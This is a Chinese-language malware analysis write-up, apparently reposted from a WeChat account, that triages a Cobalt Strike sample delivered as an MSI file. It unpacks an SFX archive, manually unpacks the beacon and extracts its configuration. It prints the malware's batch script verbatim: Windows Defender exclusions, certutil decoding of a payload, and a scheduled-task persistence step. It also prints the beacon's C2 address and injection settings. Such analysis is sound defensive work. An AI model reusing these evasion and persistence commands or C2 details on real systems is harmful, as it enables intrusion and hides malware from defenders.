我最近从 Malware Bazaar 以 Windows 安装程序文件 (MSI) 的形式获取了一个 Cobalt Strike 样本,我想分享我如何进行初步分类并提取最终配置。
我们的样本
SHA256:29dd2916c20e18b713a8ecb72d3df632961e818cf35484ec6bafedc2ff415680
下载:
https ://bazaar.abuse.ch/sample/29dd2916c20e18b713a8ecb72d3df632961e818cf35484ec6bafedc2ff415680/
文件识别
看起来我们可以确认我们正在使用 MSI 文件。
TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello
Definitions found: 14909
Analyzing...
Collecting data from file: cobalt.msi
80.0% (.MSI) Microsoft Windows Installer (454500/1/170)
10.7% (.MST) Windows SDK Setup Transform script (61000/1/5)
7.8% (.MSP) Windows Installer Patch (44509/10/5)
1.4% (.) Generic OLE2 / Multistream Compound (8000/1)
分析并解压 MSI
我使用 Oledump 快速检查了这个 MSI 中的流,总共发现 62 个。
remnux@remnux:~$ oledump.py cobalt.msi | tail
53: 36 '䡀䒌䓰䑲䑨䠷'
54: 80 '䡀䒌䗱䒵㬯䑲䌧䌷䑲'
55: 1632 '䡀䒌䗱䒵㮯䈹䗱'
56: 7306 '䡀䒌䗱䒵䠯'
57: 32 '䡀䓞䕪䇤䠨'
58: 4 '䡀䕌䄨䈷䒏䇯䕨'
59: 2572 '䡀䕎䒵䠵'
60: 376 '䡀䕙䓲䕨䜷'
61: 420 '䡀䘌䗶䐲䆊䌷䑲'
62: 128 '䡀䙎䑨㶷䓤䌳䊱'
我再次使用 Oledump,但这次是在 for 循环内检查每个 MSI 流并查找可以提取的任何 PE 或 CAB 文件。
如下所示,我发现四个流 (2、4、6、7) 包含 MZ 签名 (PE),但没有 MSCF 签名 (CAB)。
remnux@remnux:~$ for i in {1..62}; do oledump.py cobalt.msi -s $i | grep -e "MZ" -e "MSCF" && echo "Magic bytes found in stream $i"; done
00000000: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ..............
00031CD0: 00 00 CC CC 48 83 EC 18 4C 8B C1 B8 4D 5A 00 00 ....H...L...MZ..
00032710: 39 B9 4D 5A 00 00 66 39 08 75 2F 48 63 48 3C 48 9.MZ..f9.u/HcH<H
0003B220: FF 15 F2 C2 00 00 48 85 C0 74 3D B9 4D 5A 00 00 ......H..t=.MZ..
000453B0: B8 4D 5A 00 00 66 39 01 75 1E 48 63 51 3C 48 03 .MZ..f9.u.HcQ<H.
00076290: E3 BD 3B CB BF 38 23 E3 24 7D 2A 4D 5A 33 CB EB ..;..8#.$}*MZ3..
0007B2C0: B3 4D 5A 3A 7D CC 7E E4 89 E9 EB 97 5E 33 8D 9E .MZ:}.~.....^3..
0007C1C0: 4D 5A 77 F6 8B 6F 2E 88 F1 A6 68 8D 8E 8C 30 60 MZw..o....h...0`
000A0680: 4D 5A 97 8A 13 DA 0E AF BE F8 9E 44 B6 BE E0 81 MZ.........D....
Magic bytes found in stream 2
00000000: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ..............
0005B430: 0A 10 E8 49 0D 00 00 83 65 FC 00 B8 4D 5A 00 00 ...I....e...MZ..
00065540: 85 C0 74 34 B9 4D 5A 00 00 66 39 08 75 2A 8B 48 ..t4.MZ..f9.u*.H
00071C60: 55 8B EC 8B 45 08 B9 4D 5A 00 00 66 39 08 75 1D U...E..MZ..f9.u.
000B7580: 51 A5 B4 AD 00 C1 FE EF 7F 42 C6 98 4D 5A A1 2D Q........B..MZ.-
Magic bytes found in stream 4
00000000: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ..............
000443E0: 00 00 83 65 FC 00 B8 4D 5A 00 00 66 39 05 00 00 ...e...MZ..f9...
0004CB60: C0 74 34 B9 4D 5A 00 00 66 39 08 75 2A 8B 48 3C .t4.MZ..f9.u*.H<
000582A0: 55 8B EC 8B 45 08 B9 4D 5A 00 00 66 39 08 75 1D U...E..MZ..f9.u.
00079850: FC 53 04 00 0C 54 04 00 11 5A 04 00 4D 5A 04 00 .S...T...Z..MZ..
Magic bytes found in stream 6
00000000: 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ..............
0006BE50: 00 83 65 FC 00 B8 4D 5A 00 00 66 39 05 00 00 40 ..e...MZ..f9...@
0006C8A0: FF 15 8C E0 49 00 85 C0 74 33 B9 4D 5A 00 00 66 ....I...t3.MZ..f
0008A8A0: 55 8B EC 8B 45 08 B9 4D 5A 00 00 66 39 08 75 1D U...E..MZ..f9.u.
Magic bytes found in stream 7
我再次使用 Oledump 在 for 循环中从流中提取了 PE 文件。
remnux@remnux:~$ for i in {2,4,6,7}; do oledump.py -d -s $i cobalt.msi > cobalt_dump/stream$i.exe; done
remnux@remnux:~$ cd cobalt_dump/
remnux@remnux:~/cobalt_dump$ sha256sum *
26b74954ed3e0e81b4f9304e3baa149866320a10f5f6468883c9fa6358a75a6c stream2.exe
3071af6be43a2611db45205f0d3f1f25aba05acf5f70992fce2fffd63ee9c85d stream4.exe
39fd8d36f8e5d915ad571ea429db3c3de6e9c160dbea7c3e137c9ba4b7fd301d stream6.exe
745c182ee546d40e060348e3be4719b1c2b2156e0b30a2cab1cc035f5f33a132 stream7.exe
在我们提取的四个二进制文件中,stream2.exe 绝对是我们的目标,只需在 VirusTotal 上查看这些检测即可!
深入探索
TrID 告诉我们 stream2.exe 是一个 WinRAR 自解压文件 (SFX)。
起初我很困惑,因为我从未遇到过 SFX 文件,而且我确信这是一个 PE,毕竟它的文件扩展名为 .exe。
TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello
Definitions found: 14909
Analyzing...
File: stream2.exe
92.4% (.EXE) WinRAR Self Extracting archive (4.x-5.x) (265042/9/39)
一个关于 SFX 文件的一些信息
SFX 文件基本上是包装在可执行文件内的 .RAR 或 .ZIP 文件。执行文件时,SFX 会提取其内容,无需任何工具或额外软件。SFX 最隐蔽的功能是它们有助于在执行时执行进一步的命令(这些命令可以在属性中的“注释”选项卡中找到),请查看我们自己的 stream2.exe SFX 文件的以下屏幕截图。
让我们分解一下这些命令以及它们的含义。
;以下注释包含 SFX 脚本命令
Path=C:UsersPublic -指定提取存档的目录。Setup
=C:UsersPublicWmiPrvSE.bat -执行 WmiPrvSE.bat 脚本。Silent
=1 -隐藏提示和窗口。Overwrite
=1 -覆盖任何现有文件。Update
=U -如果存在旧版本,则更新现有文件。
现在我们更清楚地了解了此 SFX 执行后的作用,我们还知道此 SFX 很可能存档了更多的恶意软件。
手动解压 SFX 文件
这个过程就像使用 RAR 程序发出一行命令一样简单。
使用 RAR 程序非常棒,因为我们还可以看到执行时要运行的那些命令。
remnux@remnux:~/cobalt_dump/sfx_dump$ rar x stream2.exe
RAR 5.50 Copyright (c) 1993-2017 Alexander Roshal 11 Aug 2017
Trial version Type 'rar -?' for help
Extracting from stream2.exe
;The comment below contains SFX script commands
Path=C:UsersPublic
Setup=C:UsersPublicWmiPrvSE.bat
Silent=1
Overwrite=1
Update=U
Extracting NDTCN1.dat OK
Extracting WmiPrvSE.bat OK
All OK
我们现在可以确认 WmiPrvSE.bat 脚本确实存在于档案中,与它的朋友 NDTCN1.dat 一起。
解释 WmiPrvSE.bat
WmiPrvSE批处理脚本相对简单,不包含任何混淆内容。
remnux@remnux:~/cobalt_dump/sfx_dump$ cat WmiPrvSE.bat
powershell -command "Add-MpPreference -ExclusionPath 'C:UsersPublic'"
powershell -command "Add-MpPreference -ExclusionExtension 'C:UsersPublicWmiPrvSE.exe'"
certutil -decode C:UsersPublicNDTCN1.dat C:UsersPublicWmiPrvSE.exe
SchTasks /Create /SC DAILY /TN WmiPrvSE /TR "C:UsersPublicWmiPrvSE.exe" /ST 19:00 /f
start C:UsersPublicWmiPrvSE.exe
-
首先是两个 PowerShell 命令,第一个命令告诉 Windows Defender 忽略“C:UsersPublic”目录,如果您还记得的话,这是 SFX 提取到的目录。Windows Defender 将忽略此目录及其子目录中的所有文件。
-
第二个 PowerShell 命令告诉 Windows Defender 忽略整个文件系统的 .exe 文件扩展名。-ExclusionExtension 参数仅接受文件扩展名作为输入,并且在此实例中指定包括文件名在内的整个文件路径会导致仅解释 .exe。
-
威胁行为者利用 Windows 中的 Certutil.exe 实用程序解码 NDTCN1.dat(这是 SFX 内的附加文件)并将其存储为 WmiPrvSE.exe(威胁行为者通常将 Certutil 用作 LOLBin 来解码 base64 编码的字符串,或者在本例中是整个 base64 编码的可执行文件!)。
-
然后通过创建每天 19:00 运行的计划任务(任务名称为“WmiPrvSE”)来实现持久性。
-
最后执行解码后的可执行文件。
使用 Certutil 解码 base64 编码的可执行文件是使用 -decode 标志完成的,就像批处理脚本一样。
C:UsersAndrewDesktopcobalt_dump>certutil -decode NDTCN1.dat WmiPrvSE.exe
Input Length = 452024
Output Length = 328704
CertUtil: -decode command completed successfully.
实用程序
在 Detect It Easy 中加载此二进制文件,它似乎无法确定编译器。检查此二进制文件的字符串发现大部分数据都经过了混淆,这是打包文件的第一个迹象。
我决定将此二进制文件加载到 CFF Explorer 中,首先引起我注意的是部分选项卡。查看“.bss”部分,它的原始大小为 0 字节,虚拟大小为 2512(0x9D0)字节,这强烈表明它已被打包。这也是包含我们主要代码的部分。
让我们来揭秘
我们有几种方法可以尝试解压这个 PE。
-
使用 UnpacMe 之类的服务自动解包。
-
使用 Hollows_Hunter 之类的工具在我们的动态分析环境中自动解包。
-
使用 VirtualAlloc 上的断点在 x32dbg/x64dbg 中手动解包并将内存转储到磁盘。
我将使用第三个选项并手动解压此 PE。
VirtualAlloc 创建的用于存储解包代码的缓冲区
解包后的代码被转储到分配的缓冲区中
已成功转储至磁盘!
使用PeStudio对脱壳后的PE进行静态分析
我把解压后的 PE 加载到 PeStudio 中,看起来我们终于恢复了恶意软件的最后阶段。
PeStudio 将此文件报告为 DLL,并显示 1 个导出为“beacon.dll”,此导出名为“ReflectiveLoader”。这些迹象表明我们正在处理 Cobalt Strike 信标。导出名称还表明此恶意软件正在使用反射代码加载技术(MITRE T1620)来执行此 DLL。
提取 Cobalt Strike 配置
我们旅程的最后一阶段是提取 Cobalt Strike 配置。为此,我将使用Strozfriedberg 的Cobalt Strike 配置提取器工具。如果您以前从未使用过此工具,Elastic Security Labs 创建了一个不错的指南供您遵循。
(csce) /cobalt_dump$ csce --pretty wmiprvse_dumped.bin
{
"beacontype": [
"HTTPS"
],
"sleeptime": 60000,
"jitter": 0,
"maxgetsize": 1048576,
"spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",
"license_id": 987654321,
"cfg_caution": false,
"kill_date": null,
"server": {
"hostname": "45[.]76[.]192[.]215",
"port": 59611,
"publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCCqQE9JgJFx+YokvbVGsISp1vUxQ6ppPYh4YHfWDrRtBDqyhKNsGfjNpfJZi5SwIC1+bIdaMK6Xhi5gwNNh8Y5PzOmSnWPDbpIsxAt304YhgS+8RLHKwaqgIsYuMpOkJTuRkt9Bdm8MOndSuqp+avBBQxDxnF/gbN5ibD4gdwpWQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
},
"host_header": "",
"useragent_header": null,
"http-get": {
"uri": "/load",
"verb": "GET",
"client": {
"headers": null,
"metadata": null
},
"server": {
"output": [
"print"
]
}
},
"http-post": {
"uri": "/submit.php",
"verb": "POST",
"client": {
"headers": null,
"id": null,
"output": null
}
},
"tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"crypto_scheme": 0,
"proxy": {
"type": null,
"username": null,
"password": null,
"behavior": "Use IE settings"
},
"http_post_chunk": 0,
"uses_cookies": true,
"post-ex": {
"spawnto_x86": "%windir%\syswow64\rundll32.exe",
"spawnto_x64": "%windir%\sysnative\rundll32.exe"
},
"process-inject": {
"allocator": "VirtualAllocEx",
"execute": [
"CreateThread",
"SetThreadContext",
"CreateRemoteThread",
"RtlCreateUserThread"
],
"min_alloc": 0,
"startrwx": true,
"stub": "rlr8/ugCZnTcjztPLaRsfw==",
"transform-x86": null,
"transform-x64": null,
"userwx": true
},
"dns-beacon": {
"dns_idle": null,
"dns_sleep": null,
"maxdns": null,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null
},
"pipename": null,
"smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"stage": {
"cleanup": false
},
"ssh": {
"hostname": null,
"port": null,
"username": null,
"password": null,
"privatekey": null
}
}
我们已成功提取包含 C2 IP 和其他有用信息的配置!
感谢您的阅读!
我真的很喜欢写这篇文章,也很喜欢学习有关 SFX 文件的新知识。
如果您觉得这篇文章有用,请点赞!
原文始发于微信公众号(Ots安全):Cobalt Strike Beacon 恶意软件分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论